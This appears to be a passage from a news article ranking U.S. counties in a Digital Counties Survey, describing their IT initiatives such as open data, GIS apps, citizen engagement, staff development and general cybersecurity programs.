Onslow County has appeared on lists of the places in the U.S. where opioid abuse is at its worst, and in response its leaders directed IT to help set up a detox center in cooperation with a group of public and private organizations. The department has helped establish the necessary IT infrastructure to run the center when it opens later this year.

The county has committed to opening its GIS data and has published some very utilitarian data sets online, such as permits, health inspections, flood ratings and video of county commission meetings. It’s on its way to a more general approach to open data beyond the geospatial offerings.

In an effort to drive innovation, the county has set up an idea incubator meant to act like an internal startup where employees can put forward creative suggestions. That atmosphere of support for thoughtfulness extends to IT’s methods for staff retention and growth; it prides itself on listening to employees’ ideas and treating mistakes as “paths to growth.” It is also working on setting up an academy where employees can hone leadership and management skills.

Going forward, performance measurement and management will be a big area of emphasis for Onslow County. It is planning to convene a committee that will work on aligning performance metrics with goals. The IT staff will support that effort by using cloud-based business intelligence software and setting up internal and external performance dashboards.

9th Paulding County, Ga.

Paulding County, Ga., which has nearly doubled in population since 2000, earned ninth place in its size category for an emphasis on connecting more than 152,000 residents to services around the clock, expanding its level of cybersecurity training to staff, and updating its existing Internet presence. Officials in the suburban county outside Atlanta already reach citizens via virtual town halls, live-streaming board meetings, and on social media, including via their Facebook site and YouTube channel. Residents can make service requests, register for programs, pay fees, and research voting, land and parcel data via the county website.

But officials are enhancing the city website to aggregate social media connections and include a blog from the chairman. The new site is expected to go live later this year. During the next 12 to 18 months, officials will also improve their expense transparency with the deployment of an Open Checkbook application; and make additional use of voice messaging apps. Also on the way in the next two years are self-service kiosks for citizens and expanded use of digital signage.

The county maintains 12 miles of fiber-optic cable underground and its fiber plant connects to a Tier 1 provider, but future plans are to use special tax monies to connect the plant to a second Tier 1 provider for redundancy. The agency backs up its data nightly, and maintains disaster recovery and continuity plans, but has hired an outside cybersecurity firm to assess staff — and has noticed improvement as a result. Additionally officials have secured their firewalls, and have conducted annual penetration testing.

10th Jackson County, Mich.

A shift in IT leadership this spring means Jackson County, Mich., is in a bit of transitional period, but it has big plans for using technology to help move the county forward. IT’s goals are aligned well with the county’s strategic plan, with particular emphasis on economic development, safe and healthy communities, and government efficiency. The agency is focused on making as many citizen services available online as possible to avoid any unnecessary trips to county offices. Going forward, plans include continuing to update online offerings, developing their GIS division, and implementing mobile apps and Google Home capabilities.

Strengthening the county’s cybersecurity posture tops the IT department’s list of priorities, and staff members are looking into cyberinsurance, as well as ransomware prevention tools, security-as-a-service and data encryption enforcement. Jackson County is also working on its disaster recovery plan, identifying what operations would be mission-critical in the event of a major outage and actively using GIS to determine points of need in its infrastructure and network. On the public safety front, the county has plans to implement next-gen 911 and video surveillance in the near future, along with some use of drones.

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Click points on the map above to learn more about each winner. Red indicates 1st place winners, yellow indicates 2nd place winners, green indicates 3rd place winners, and blue indicates winners that placed 4th through 10th.

1st Dutchess County, N.Y.

Dutchess County, N.Y., claimed the top spot in its population category this year by putting significant emphasis on connecting with residents and finding new ways to innovate and create efficiencies countywide. The county’s Office of Central and Information Services (OCIS) lists citizen engagement as its No. 1 priority, an effort clearly evident in its robust social media presence to communicate and maintain transparency with residents. Expansion of online services, including GIS, electronic payments and more, has created $15 million in annual savings for the public. Further, OCIS is working on redesigning its online presence with a focus on mobile-first and compliance with the Americans with Disabilities Act, as well as industry standard best practices for county Web applications, including headlines that can be read by Amazon Echo devices. Citizen-centric plans for the next one to two years also include texting, Google Home capabilities, chatbots and more.

Shared services are key to OCIS’ work and include the appointment of a county shared services coordinator and 32 shared services available for cities. The county also offers a $1 million annual grant program to incentivize cities to use more shared services. Along these lines, one of Dutchess County’s big projects for 2018 is to upgrade its Emergency Public Safety Program, including 911 computer-aided dispatch among other public safety technologies. The county has announced an agreement to partner with the city of Poughkeepsie Police on these upgrades, which has already saved the town $500,000 before the system even goes live later this year.

To strengthen its workforce, OCIS is expanding business partnerships with area colleges to recruit diverse tech talent and foster an inclusive environment. The agency has also invested heavily in cybersecurity training for county staff, and has made investments in cyberinsurance, as well as ransomware prevention and response to bolster its security enterprisewide.

2nd Chesterfield County, Va.

Chesterfield County recently updated its open data policy and created an enterprise data governance strategy, a backdrop on which it can encourage more information sharing between departments.

The county has worked with regional partners on several projects, including a cross-jurisdictional cybersecurity partnership, creating a website to promote education and awareness about opioids in the area, participating in a health and human services-related platform to share data and help cut down on duplicate entry, and police department teamwork on mapping crime.

Chesterfield IT has invested real resources into establishing a culture of creativity and relationships, setting up the technology infrastructure to allow telecommuting, which 65 percent of its staff takes advantage of for parts of each week. The department also uses a competency tool to identify specific areas where staff could use training or career development, and then recognizes and rewards them for pursuing that new knowledge. There’s also a mentorship program that pairs up employees with leaders. Since 2013, the vacancy rate has dropped from 18 percent to 7 percent.

The teleworking option, along with the county’s heavy use of the cloud for email, file storage and other applications, is also central to its plans to keep working in case of emergency.

The county’s budget for the next fiscal year includes a $1 million increase to support innovation and enterprise initiatives. Among the work it’s taking on: Setting up a cloud-based enterprise business intelligence platform, setting up big data analytics for police and fire department sensors and identifying commonly-FOIA’d information so it can be published on the county’s open data platform.

3rd Frederick County, Md.

Frederick County, Md., which ranked third among agencies with 150,000-249,999 residents in the 2016 Digital Counties Survey, leveraged agency collaborations, citizen engagement, key new tools and population growth to earn third place this year in the 250,000-499,999 population category. Its IT organization leads an IT Technology Council to further interagency collaboration between county and municipal public safety, library and education agencies. The Livable Frederick Master Plan offers a collaboration framework for other agencies, the private sector and community groups. In the next year, county emergency management will link its computer-aided dispatch (CAD) system to adjoining counties to reduce dispatch times.

The county executive has made citizen engagement a priority; the agency surveyed residents in support of the agency’s budget and streams budget presentations and town halls, addressing comments in real time via Facebook Live. It also held an online chat with parks and recreation and reaches residents through many social media platforms. The county, which now serves more than 252,000 residents, reaches them via a responsively-designed website; online apps that use mapping to enable the reporting and tracking of road conditions and issues; and a Notify Me app that offers text or email notification on specific issues, job and bid postings and emergency alerts. The county is seeking a consultant to identify key performance indicators that could be displayed in public-facing dashboards.

The county’s IT organization is using a project portfolio management tool to prioritize and assign staff to key projects. It recently deployed a security incident event management tool using artificial intelligence and machine learning to scrutinize real-time information for potential security issues, and stood up a new Cyber Security Operations Center offering real-time assessment and analysis. Going forward, security officials plan to procure penetration testing tools and mount a phishing awareness campaign.

4th Douglas County, Colo.

After finishing first in last year’s 250,000-499,999 population category, Douglas County, Colo., has dropped to fourth in the current survey, but that doesn’t mean there isn’t progress being made there. In fact, the jurisdiction has a pretty long list of new tech and innovation projects that have gone live or into development this year, including an Ask Douglas County skill for Amazon’s Alexa, a multitude of new GIS apps for both internal and public use, an elaborate expansion of its existing open data portal, a new GeoHub with a wide breadth of layered maps, integrated Waze data to help new transportation projects, and more. As Douglas County notes, its population is tech savvy, and 90 percent of constituents have high-speed Internet connections at home, which has led to a situation where citizen demands require that the jurisdiction’s tech and innovation work keep pace. This is varied work, ranging from publication of financial data dating back five years to expanding the range and speed of Wi-Fi available at the Douglas County Fair.

Internally Douglas continues to do important work in the area of cybersecurity, faced as all jurisdictions are by an ever-evolving set of more complex threats. To this end, Douglas County is using new security technologies, extensive security awareness training for its IT staff and improved cyberincident response plans. As many jurisdictions have, the county has also moved to using DocuSign, which enables electronic signatures that lead to more efficient internal workflows, as well as new e-procurement systems. In terms of the future, innovation work continues. Douglas County is, for example, working to grow its GeoHub into its primary open data site by 2019. Drone usage also continues to expand, with new uses for that tech including for search and rescue and weed control.

5th Durham County, N.C.

Durham County, N.C. — population 312,000 — has jumped from its previous 10th place to fifth place this year in the Digital Counties Survey. The county’s strategic plan focuses on five goals: Community and Family, Health, Secure Community, Environment and Visionary Government. The Computers 4 Kids program is part of the Information Services and Technology department’s commitment to Community and Family. The program refurbishes computers and partners with local organizations to redistribute the computers to area nonprofits, Durham Public Schools and North Carolina Central University.

New apps from Durham County indicate its extensive efforts to meet citizen needs. The county Department of Social Services launched a mobile app to let citizens submit documents for Food and Nutrition Services, Medicaid, Work First (employment services) benefits or Crisis Services applications. The goal is to help people avoid multiple in-person trips to county offices.

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